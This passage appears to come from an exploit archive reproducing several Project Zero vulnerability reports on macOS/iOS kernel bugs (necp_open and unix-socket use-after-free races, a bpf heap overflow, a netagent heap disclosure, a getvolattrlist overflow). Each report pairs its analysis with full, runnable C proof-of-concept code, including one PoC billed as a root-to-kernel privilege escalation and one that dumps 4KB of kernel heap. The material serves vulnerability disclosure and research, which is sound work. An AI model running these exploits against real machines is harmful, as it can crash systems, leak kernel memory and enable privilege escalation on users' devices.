    goto done;
  }

  fd_data->flags = uap->flags;
  LIST_INIT(&fd_data->clients);
  lck_mtx_init(&fd_data->fd_lock, necp_fd_mtx_grp, necp_fd_mtx_attr);
  klist_init(&fd_data->si.si_note);
  fd_data->proc_pid = proc_pid(p);

  fp->f_fglob->fg_flag = FREAD;
  fp->f_fglob->fg_ops = &necp_fd_ops;
  fp->f_fglob->fg_data = fd_data;  <-------------------------- (b)

  proc_fdlock(p);

  *fdflags(p, fd) |= (UF_EXCLOSE | UF_FORKCLOSE);
  procfdtbl_releasefd(p, fd, NULL);
  fp_drop(p, fd, fp, 1);
  proc_fdunlock(p);  <--------------------- (c)

  *retval = fd;

  lck_rw_lock_exclusive(&necp_fd_lock); <---------------- (d)
  LIST_INSERT_HEAD(&necp_fd_list, fd_data, chain); <------(e)
  lck_rw_done(&necp_fd_lock);

at (a) a new file descriptor and file object is allocated for the calling process
at (b) that new file's fg_data is set to the fd_data heap allocation
at (c) the process fd table is unlocked meaning that other processes can now look up
 the new fd and get the associated fp

at (d) the necp_fd_lock is taken then at (e) the fd_data is enqueued into the necp_fd_list

The bug is that the fd_data is owned by the fp so that after we drop the proc_fd lock at (c)
another thread can call close on the new fd which will free fd_data before we enqueue it at (e).

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 

in: "...that other processes can now look up the new fd and get the associated fp..." I meant threads, not processes!

*/

// ianbeer
#if 0
MacOS/iOS kernel uaf due to bad locking in necp_open

necp_open is a syscall used to obtain a new necp file descriptor

The necp file's fp's fg_data points to a struct necp_fd_data allocated on the heap.

Here's the relevant code from necp_open:

	error = falloc(p, &fp, &fd, vfs_context_current());  <--------------------- (a)
	if (error != 0) {
		goto done;
	}

	if ((fd_data = _MALLOC(sizeof(struct necp_fd_data), M_NECP,
						   M_WAITOK | M_ZERO)) == NULL) {
		error = ENOMEM;
		goto done;
	}

	fd_data->flags = uap->flags;
	LIST_INIT(&fd_data->clients);
	lck_mtx_init(&fd_data->fd_lock, necp_fd_mtx_grp, necp_fd_mtx_attr);
	klist_init(&fd_data->si.si_note);
	fd_data->proc_pid = proc_pid(p);

	fp->f_fglob->fg_flag = FREAD;
	fp->f_fglob->fg_ops = &necp_fd_ops;
	fp->f_fglob->fg_data = fd_data;  <-------------------------- (b)

	proc_fdlock(p);

	*fdflags(p, fd) |= (UF_EXCLOSE | UF_FORKCLOSE);
	procfdtbl_releasefd(p, fd, NULL);
	fp_drop(p, fd, fp, 1);
	proc_fdunlock(p);  <--------------------- (c)

	*retval = fd;

	lck_rw_lock_exclusive(&necp_fd_lock); <---------------- (d)
	LIST_INSERT_HEAD(&necp_fd_list, fd_data, chain); <------(e)
	lck_rw_done(&necp_fd_lock);

at (a) a new file descriptor and file object is allocated for the calling process
at (b) that new file's fg_data is set to the fd_data heap allocation
at (c) the process fd table is unlocked meaning that other processes can now look up
 the new fd and get the associated fp

at (d) the necp_fd_lock is taken then at (e) the fd_data is enqueued into the necp_fd_list

The bug is that the fd_data is owned by the fp so that after we drop the proc_fd lock at (c)
another thread can call close on the new fd which will free fd_data before we enqueue it at (e).

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

#include <sys/syscall.h>

int necp_open(int flags) {
  return syscall(SYS_necp_open, flags);
}

void* closer(void* arg) {
  while(1) {
    close(3);
  }
}

int main() {
  for (int i = 0; i < 10; i++) {
    pthread_t t;
    pthread_create(&t, NULL, closer, NULL);
  }
  
  while (1) {
    int fd = necp_open(0);
    close(fd);
  }

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1125

The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:

  case BIOCSBLEN:     /* u_int */
    if (d->bd_bif != 0)
      error = EINVAL;
    else {
      u_int size;

      bcopy(addr, &size, sizeof (size));

      if (size > bpf_maxbufsize)
        size = bpf_maxbufsize;
      else if (size < BPF_MINBUFSIZE)
        size = BPF_MINBUFSIZE;
      bcopy(&size, addr, sizeof (size));
      d->bd_bufsize = size;
    }
    break;


d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.

There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.

If we then attach to an interface again we hit this code in bpf_setif:

    if (d->bd_sbuf == 0) {
      error = bpf_allocbufs(d);
      if (error != 0)
        return (error);

This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.

This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)

We then set a large buffer size and attach to the loopback interface and sent some large ping packets.

This bug is a root -> kernel priv esc

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/

//ianbeer
#if 0
MacOS/iOS kernel heap overflow in bpf

The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:

	case BIOCSBLEN:			/* u_int */
		if (d->bd_bif != 0)
			error = EINVAL;
		else {
			u_int size;

			bcopy(addr, &size, sizeof (size));

			if (size > bpf_maxbufsize)
				size = bpf_maxbufsize;
			else if (size < BPF_MINBUFSIZE)
				size = BPF_MINBUFSIZE;
			bcopy(&size, addr, sizeof (size));
			d->bd_bufsize = size;
		}
		break;


d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.

There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.

If we then attach to an interface again we hit this code in bpf_setif:

		if (d->bd_sbuf == 0) {
			error = bpf_allocbufs(d);
			if (error != 0)
				return (error);

This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.

This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)

We then set a large buffer size and attach to the loopback interface and sent some large ping packets.

This bug is a root -> kernel priv esc

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

int main(int argc, char** argv) {
  int fd = open("/dev/bpf3", O_RDWR);
  if (fd == -1) {
    perror("failed to open bpf device\n");
    exit(EXIT_FAILURE);
  }

  // first set a small length:
  int len = 64;
  int err = ioctl(fd, BIOCSBLEN, &len);
  if (err == -1) {
    perror("setting small buffer length");
    exit(EXIT_FAILURE);
  }

  // create an interface which we can destroy later:
  system("ifconfig bridge7 create");

  // connect the bpf device to that interface, allocating the buffer
  struct ifreq ifr;
  strcpy(ifr.ifr_name, "bridge7");
  err = ioctl(fd, BIOCSETIF, &ifr);
  if (err == -1) {
    perror("attaching to interface");
    exit(EXIT_FAILURE);
  }

  // remove that interface, detaching us:
  system("ifconfig bridge7 destroy");

  // set a large buffer size:
  len = 4096;
  err = ioctl(fd, BIOCSBLEN, &len);
  if (err == -1) {
    perror("setting large buffer length");
    exit(EXIT_FAILURE);
  }

  // connect to a legit interface with traffic:
  strcpy(ifr.ifr_name, "lo0");
  err = ioctl(fd, BIOCSETIF, &ifr);
  if (err == -1) {
    perror("attaching to interface");
    exit(EXIT_FAILURE);
  }

  // wait for a packet...
  system("ping localhost -s 1400");
  
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1123

unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message.
That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file
the sender sent.

Here's the relevant code:

  for (i = 0; i < newfds; i++) {     <----------- (a)
#if CONFIG_MACF_SOCKET
    /*
     * If receive access is denied, don't pass along
     * and error message, just discard the descriptor.
     */
    if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
      proc_fdunlock(p);
      unp_discard(rp[i], p);
      fds[i] = 0;
      proc_fdlock(p);
      continue;
    }
#endif
    if (fdalloc(p, 0, &f))
      panic("unp_externalize:fdalloc");
    fp = fileproc_alloc_init(NULL);
    if (fp == NULL)
      panic("unp_externalize: MALLOC_ZONE");
    fp->f_iocount = 0;
    fp->f_fglob = rp[i];
    if (fg_removeuipc_mark(rp[i]))
      fgl[i] = rp[i];
    else
      fgl[i] = NULL;
    procfdtbl_releasefd(p, f, fp);
    fds[i] = f;
  }
  proc_fdunlock(p);                <-------- (b)

  for (i = 0; i < newfds; i++) {
    if (fgl[i] != NULL) {
      VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
      fg_removeuipc(fgl[i]);      <--------- (c)
    }
    if (fds[i])
      (void) OSAddAtomic(-1, &unp_rights);
  }


The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.

At (b) the code then drops the process fd lock at which point other threads can access the fd table again.

At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).

Use zone poisoning for a reliable crasher.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 
*/

//ianbeer
//the ReadDescriptor and Write Descriptor functions are based on Apple sample code from: https://developer.apple.com/library/content/qa/qa1541/_index.html

#if 0
iOS/MacOS kernel uaf due to bad locking in unix domain socket file descriptor externalization

unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message.
That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file
the sender sent.

Here's the relevant code:

	for (i = 0; i < newfds; i++) {     <----------- (a)
#if CONFIG_MACF_SOCKET
		/*
		 * If receive access is denied, don't pass along
		 * and error message, just discard the descriptor.
		 */
		if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
			proc_fdunlock(p);
			unp_discard(rp[i], p);
			fds[i] = 0;
			proc_fdlock(p);
			continue;
		}
#endif
		if (fdalloc(p, 0, &f))
			panic("unp_externalize:fdalloc");
		fp = fileproc_alloc_init(NULL);
		if (fp == NULL)
			panic("unp_externalize: MALLOC_ZONE");
		fp->f_iocount = 0;
		fp->f_fglob = rp[i];
		if (fg_removeuipc_mark(rp[i]))
			fgl[i] = rp[i];
		else
			fgl[i] = NULL;
		procfdtbl_releasefd(p, f, fp);
		fds[i] = f;
	}
	proc_fdunlock(p);                <-------- (b)

	for (i = 0; i < newfds; i++) {
		if (fgl[i] != NULL) {
			VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
			fg_removeuipc(fgl[i]);      <--------- (c)
		}
		if (fds[i])
			(void) OSAddAtomic(-1, &unp_rights);
	}


The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.

At (b) the code then drops the process fd lock at which point other threads can access the fd table again.

At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).

Use zone poisoning for a reliable crasher.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 
#endif 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <errno.h>
#include <assert.h>
#include <pthread.h>

static const char kDummyData = 'D';

static int ReadDescriptor(int fd, int *fdRead)
    // Read a descriptor from fd and place it in *fdRead.
    //
    // On success, the caller is responsible for closing *fdRead.
{
    int                 err;
    int                 junk;
    struct msghdr       msg;
    struct iovec        iov;
    struct {
        struct cmsghdr  hdr;
        int             fd;
    }                   control;
    char                dummyData;
    ssize_t             bytesReceived;

    // Pre-conditions

    assert(fd >= 0);
    assert( fdRead != NULL);
    assert(*fdRead == -1);

    // Read a single byte of data from the socket, with the assumption 
    // that this byte has piggybacked on to it a single descriptor that 
    // we're trying to receive. This is pretty much standard boilerplate 
    // code for reading descriptors; see <x-man-page://2/recv> for details.

    iov.iov_base = (char *) &dummyData;
    iov.iov_len  = sizeof(dummyData);

    msg.msg_name       = NULL;
    msg.msg_namelen    = 0;
    msg.msg_iov        = &iov;
    msg.msg_iovlen     = 1;
    msg.msg_control    = &control;
    msg.msg_controllen = sizeof(control);
    msg.msg_flags      = MSG_WAITALL;

    do {
        bytesReceived = recvmsg(fd, &msg, 0);
        if (bytesReceived == sizeof(dummyData)) {
            if ( (dummyData != kDummyData)
                || (msg.msg_flags != 0) 
                || (msg.msg_control == NULL) 
                || (msg.msg_controllen != sizeof(control)) 
                || (control.hdr.cmsg_len != sizeof(control)) 
                || (control.hdr.cmsg_level != SOL_SOCKET)
                || (control.hdr.cmsg_type  != SCM_RIGHTS) 
                || (control.fd < 0) ) {
                err = EINVAL;
            } else {
                *fdRead = control.fd;
                err = 0;
            }
        } else if (bytesReceived == 0) {
            err = EPIPE;
        } else {
            assert(bytesReceived == -1);

            err = errno;
            assert(err != 0);
        }
    } while (err == EINTR);

    assert( (err == 0) == (*fdRead >= 0) );

    return err;
}

static int WriteDescriptor(int fd, int fdToWrite)
    // Write the descriptor fdToWrite to fd.
{
    int                 err;
    struct msghdr       msg;
    struct iovec        iov;
    struct {
        struct cmsghdr  hdr;
        int             fd;
    }                   control;
    ssize_t             bytesSent;
    char                ack;

    // Pre-conditions

    assert(fd >= 0);
    assert(fdToWrite >= 0);

    control.hdr.cmsg_len   = sizeof(control);
    control.hdr.cmsg_level = SOL_SOCKET;
    control.hdr.cmsg_type  = SCM_RIGHTS;
    control.fd             = fdToWrite;

    iov.iov_base = (char *) &kDummyData;
    iov.iov_len  = sizeof(kDummyData);

    msg.msg_name       = NULL;
    msg.msg_namelen    = 0;
    msg.msg_iov        = &iov;
    msg.msg_iovlen     = 1;
    msg.msg_control    = &control;
    msg.msg_controllen = control.hdr.cmsg_len;
    msg.msg_flags      = 0;
    do {
        bytesSent = sendmsg(fd, &msg, 0);
        if (bytesSent == sizeof(kDummyData)) {
            err = 0;
        } else {
            assert(bytesSent == -1);

            err = errno;
            assert(err != 0);
        }
    } while (err == EINTR);

    return err;
}

char* filenames[10] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j"};

void parent(int sock) {
  int f = 0;
  while(1) {
    char* filename = filenames[f];
    f++;
    f %= 10;
    int to_send = open(filename, O_CREAT|O_RDWR, 0644);
    
    int err = WriteDescriptor(sock, to_send);
    printf("err: %x\n", err);
    
    close(to_send);
  }
}

void* child_thread(void* arg) {
  while(1) {
    close(3);
  }
}

void child(int sock) {
  for (int i = 0; i < 10; i++) {
    pthread_t t;
    pthread_create(&t, NULL, child_thread, NULL);
  }
  while (1) {
    int received = -1;
    int err = ReadDescriptor(sock, &received);
    close(received);
  }
}

int main() {
  int socks[2];
  socketpair(PF_LOCAL, SOCK_STREAM, 0, socks);

  pid_t pid = fork();
  if (pid != 0) {
    close(socks[1]);
    parent(socks[0]);
    int wl;
    waitpid(pid, &wl, 0);
    exit(EXIT_SUCCESS);
  } else {
    close(socks[0]);
    child(socks[1]);
    exit(EXIT_SUCCESS);
  }
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1140

netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type
NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code:

  static errno_t
  netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload,
                  u_int32_t payload_length)
  {
    int data_size = 0;
    struct netagent_wrapper *new_wrapper = NULL;
    u_int32_t response_error = 0;
    struct netagent *register_netagent = (struct netagent *)(void *)payload;   <----------- (a)

    if (session == NULL) {
      NETAGENTLOG0(LOG_ERR, "Failed to find session");
      response_error = EINVAL;
      goto done;
    }

    if (payload == NULL) {
      NETAGENTLOG0(LOG_ERR, "No payload received");
      response_error = EINVAL;
      goto done;
    }

    if (session->wrapper != NULL) {
      NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
      response_error = EINVAL;
      goto done;
    }

    if (payload_length < sizeof(struct netagent)) {                              <----------- (b)
      NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)",
            payload_length, sizeof(struct netagent));
      response_error = EINVAL;
      goto done;
    }

    data_size = register_netagent->netagent_data_size;
    if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) {                      <----------- (c)
      NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
            data_size);
      response_error = EINVAL;
      goto done;
    }

    MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
    if (new_wrapper == NULL) {
      NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
      response_error = ENOMEM;
      goto done;
    }

    memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
    memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size);   <------------ (d)

    response_error = netagent_handle_register_inner(session, new_wrapper);
    if (response_error != 0) {
      FREE(new_wrapper, M_NETAGENT);
      goto done;
    }

    NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
    netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);

  done:
    return response_error;
  }


The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.

At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure.
Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of
data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain
data_size bytes of data though.

This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.

Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1
*/

// ianbeer
#if 0
iOS/MacOS kernel memory disclosure due to lack of bounds checking in netagent socket option handling

netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type
NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code:

	static errno_t
	netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload,
									u_int32_t payload_length)
	{
		int data_size = 0;
		struct netagent_wrapper *new_wrapper = NULL;
		u_int32_t response_error = 0;
		struct netagent *register_netagent = (struct netagent *)(void *)payload;   <----------- (a)

		if (session == NULL) {
			NETAGENTLOG0(LOG_ERR, "Failed to find session");
			response_error = EINVAL;
			goto done;
		}

		if (payload == NULL) {
			NETAGENTLOG0(LOG_ERR, "No payload received");
			response_error = EINVAL;
			goto done;
		}

		if (session->wrapper != NULL) {
			NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
			response_error = EINVAL;
			goto done;
		}

		if (payload_length < sizeof(struct netagent)) {                              <----------- (b)
			NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)",
						payload_length, sizeof(struct netagent));
			response_error = EINVAL;
			goto done;
		}

		data_size = register_netagent->netagent_data_size;
		if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) {                      <----------- (c)
			NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
						data_size);
			response_error = EINVAL;
			goto done;
		}

		MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
		if (new_wrapper == NULL) {
			NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
			response_error = ENOMEM;
			goto done;
		}

		memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
		memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size);   <------------ (d)

		response_error = netagent_handle_register_inner(session, new_wrapper);
		if (response_error != 0) {
			FREE(new_wrapper, M_NETAGENT);
			goto done;
		}

		NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
		netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);

	done:
		return response_error;
	}


The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.

At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure.
Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of
data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain
data_size bytes of data though.

This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.

Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1
#endif
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/kern_control.h>
#include <sys/sys_domain.h>
#include <net/if.h>
#include <netinet/in_var.h>
#include <netinet6/nd6.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int ctl_open(char* control_name) {
  int           sock;
  int           error     = 0;
  struct ctl_info     kernctl_info;
  struct sockaddr_ctl   kernctl_addr;

  sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
  if (sock < 0) {
    printf("failed to open a SYSPROTO_CONTROL socket: %s\n", strerror(errno));
    goto done;
  }

  memset(&kernctl_info, 0, sizeof(kernctl_info));
  strlcpy(kernctl_info.ctl_name, control_name, sizeof(kernctl_info.ctl_name));

  error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
  if (error) {
    printf("Failed to get the control info for control named \"%s\": %s\n", control_name, strerror(errno));
    goto done;
  }

  memset(&kernctl_addr, 0, sizeof(kernctl_addr));
  kernctl_addr.sc_len = sizeof(kernctl_addr);
  kernctl_addr.sc_family = AF_SYSTEM;
  kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
  kernctl_addr.sc_id = kernctl_info.ctl_id;
  kernctl_addr.sc_unit = 0;

  error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
  if (error) {
    printf("Failed to connect to the control socket: %s\n", strerror(errno));
    goto done;
  }

done:
  if (error && sock >= 0) {
    close(sock);
    sock = -1;
  }

  return sock;
}

#define NETAGENT_OPTION_TYPE_REGISTER 1
#define NETAGENT_DOMAINSIZE   32
#define NETAGENT_TYPESIZE   32
#define NETAGENT_DESCSIZE   128

struct netagent_req64 {
	uuid_t		netagent_uuid;
	char		netagent_domain[NETAGENT_DOMAINSIZE];
	char		netagent_type[NETAGENT_TYPESIZE];
	char		netagent_desc[NETAGENT_DESCSIZE];
	u_int32_t	netagent_flags;
	u_int32_t	netagent_data_size;
	uint64_t	netagent_data __attribute__((aligned(8)));
};

struct netagent {
	uuid_t		netagent_uuid;
	char		netagent_domain[NETAGENT_DOMAINSIZE];
	char		netagent_type[NETAGENT_TYPESIZE];
	char		netagent_desc[NETAGENT_DESCSIZE];
	u_int32_t	netagent_flags;
	u_int32_t	netagent_data_size;
	u_int8_t	netagent_data[0];
};

#define SIOCGIFAGENTDATA64    _IOWR('i', 168, struct netagent_req64)

int main(){
  int fd = ctl_open("com.apple.net.netagent");
  if (fd < 0) {
    printf("failed to get control socket :(\n");
    return 1;
  }
  printf("got a control socket! %d\n", fd);

  struct netagent na = {0};
  na.netagent_uuid[0] = 123;
  na.netagent_data_size = 4096;

  int err = setsockopt(fd,
                       SYSPROTO_CONTROL,
                       NETAGENT_OPTION_TYPE_REGISTER,
                       &na,
                       sizeof(na));
  if (err == -1) {
    perror("setsockopt failed");
    return 0;
  } else {
    printf("set the option!\n");
  }

  uint64_t* buf = malloc(4096);
  memset(buf, 0, 4096);

  struct netagent_req64 req = {0};
  req.netagent_uuid[0] = 123;
  req.netagent_data_size = 4096;
  req.netagent_data = (uint64_t)buf;


  err = ioctl(fd, SIOCGIFAGENTDATA64, &req);
  if (err == -1) {
    perror("get getinterface agent data failed");
  }else {
    printf("got something?\n");
    for (int i = 0; i < 4096/8; i++) {
      printf("%016llx\n", buf[i]);
    }
  }
  

  return 0;
}
            
/*
getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall.

When allocating a kernel buffer to serialize the attr list to there's the following comment:

  /*
   * Allocate a target buffer for attribute results.
   * Note that since we won't ever copy out more than the caller requested,
   * we never need to allocate more than they offer.
   */
  ab.allocated = ulmin(bufferSize, fixedsize + varsize);
  if (ab.allocated > ATTR_MAX_BUFFER) {
    error = ENOMEM;
    VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
    goto out;
  }
  MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);

The problem is that the code doesn't then correctly handle the case when the user supplied buffer size
is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code:

  /* Return attribute set output if requested. */
  if (return_valid) {
    ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS;
    if (pack_invalid) {
      /* Only report the attributes that are valid */
      ab.actual.commonattr &= ab.valid.commonattr;
      ab.actual.volattr &= ab.valid.volattr;
    }
    bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual));
  }

There's no check that the allocated buffer is big enough to hold at least that.

Tested on MacOS 10.13.4 (17E199)
*/

// ianbeer
#if 0
MacOS/iOS kernel heap overflow due to lack of lower size check in getvolattrlist

getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall.

When allocating a kernel buffer to serialize the attr list to there's the following comment:

	/*
	 * Allocate a target buffer for attribute results.
	 * Note that since we won't ever copy out more than the caller requested,
	 * we never need to allocate more than they offer.
	 */
	ab.allocated = ulmin(bufferSize, fixedsize + varsize);
	if (ab.allocated > ATTR_MAX_BUFFER) {
		error = ENOMEM;
		VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
		goto out;
	}
	MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);

The problem is that the code doesn't then correctly handle the case when the user supplied buffer size
is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code:

	/* Return attribute set output if requested. */
	if (return_valid) {
		ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS;
		if (pack_invalid) {
			/* Only report the attributes that are valid */
			ab.actual.commonattr &= ab.valid.commonattr;
			ab.actual.volattr &= ab.valid.volattr;
		}
		bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual));
	}

There's no check that the allocated buffer is big enough to hold at least that.

Tested on MacOS 10.13.4 (17E199)

#endif

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/attr.h>

int main() {
  int fd = open("/", O_RDONLY);
  if (fd == -1) {
    perror("unable to open fs root\n");
    return 0;
  }

  struct attrlist al = {0};

  al.bitmapcount = ATTR_BIT_MAP_COUNT;
  al.volattr = 0xfff;
  al.commonattr = ATTR_CMN_RETURNED_ATTRS;

  size_t attrBufSize = 16;
  void* attrBuf = malloc(attrBufSize);
  int options = 0;

  int err = fgetattrlist(fd, &al, attrBuf, attrBufSize, options);
  printf("err: %d\n", err);
  return 0;
}